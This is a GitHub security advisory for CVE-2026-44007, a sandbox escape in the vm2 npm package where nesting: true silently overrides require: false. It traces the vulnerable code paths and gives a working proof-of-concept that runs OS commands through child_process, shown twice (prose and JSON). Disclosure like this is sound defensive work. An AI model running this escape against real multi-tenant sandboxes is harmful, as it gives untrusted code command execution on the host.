GHSA-8HG8-63C5-GWMX
Vulnerability from github – Published: 2026-05-07 05:13 – Updated: 2026-05-14 20:37Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
const NESTING_OVERRIDE = Object.freeze({
__proto__: null,
vm2: vm2NestingLoader
});
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
requireOpts,
nesting && NESTING_OVERRIDE, // ← injected when nesting:true
this._compiler
);
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:
function makeResolverFromLegacyOptions(options, override, compiler) {
if (!options) {
if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all
// BUG: require:false + nesting:true reaches here
// override (NESTING_OVERRIDE) is applied, making vm2 available
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable
}
// ...
}
lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
if (overrides) {
const keys = Object.getOwnPropertyNames(overrides);
for (const key of keys) {
res.set(key, overrides[key]); // vm2 always injected when nesting:true
}
}
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run(`
// Step 1: require('vm2') succeeds despite require:false on the outer VM
const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config
// This inner VM has no relation to the outer VM's restrictions
const inner = new NVM({ require: { builtin: ['child_process'] } });
// Step 3: execute arbitrary OS command in the inner VM
module.exports = inner.run(
'module.exports = require("child_process").execSync("id").toString()'
);
`);
console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):
uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
new NodeVM({ nesting: true, require: false }).run(`
const { NodeVM: NVM } = require('vm2');
module.exports = new NVM({ require: { builtin: ['child_process'] } })
.run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.0"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44007"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T05:13:21Z",
"nvd_published_at": "2026-05-13T18:16:17Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require(\u0027vm2\u0027)` regardless of the outer VM\u0027s `require` configuration \u2014 including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** \u2014 `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n __proto__: null,\n vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** \u2014 When `nesting: true`, this override is passed into the resolver factory alongside the host\u0027s `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n requireOpts,\n nesting \u0026\u0026 NESTING_OVERRIDE, // \u2190 injected when nesting:true\n this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** \u2014 This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n if (!options) {\n if (!override) return DENY_RESOLVER; // require:false, no nesting \u2192 deny all\n // BUG: require:false + nesting:true reaches here\n // override (NESTING_OVERRIDE) is applied, making vm2 available\n const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable\n }\n // ...\n}\n```\n\n**`lib/builtin.js:102-106`** \u2014 `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n const keys = Object.getOwnPropertyNames(overrides);\n for (const key of keys) {\n res.set(key, overrides[key]); // vm2 always injected when nesting:true\n }\n}\n```\n\nThe result: `require(\u0027vm2\u0027)` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses \u2014 unconstrained by the outer VM \u2014 and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n // Step 1: require(\u0027vm2\u0027) succeeds despite require:false on the outer VM\n const { NodeVM: NVM } = require(\u0027vm2\u0027);\n\n // Step 2: create an inner NodeVM with attacker-chosen require config\n // This inner VM has no relation to the outer VM\u0027s restrictions\n const inner = new NVM({ require: { builtin: [\u0027child_process\u0027] } });\n\n // Step 3: execute arbitrary OS command in the inner VM\n module.exports = inner.run(\n \u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027\n );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works \u2014 the outer VM\u0027s require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n const { NodeVM: NVM } = require(\u0027vm2\u0027);\n module.exports = new NVM({ require: { builtin: [\u0027child_process\u0027] } })\n .run(\u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027);\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: [\u0027path\u0027] }` still allows `require(\u0027vm2\u0027)` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not \u2014 `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.",
"id": "GHSA-8hg8-63c5-gwmx",
"modified": "2026-05-14T20:37:04Z",
"published": "2026-05-07T05:13:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44007"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/05/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.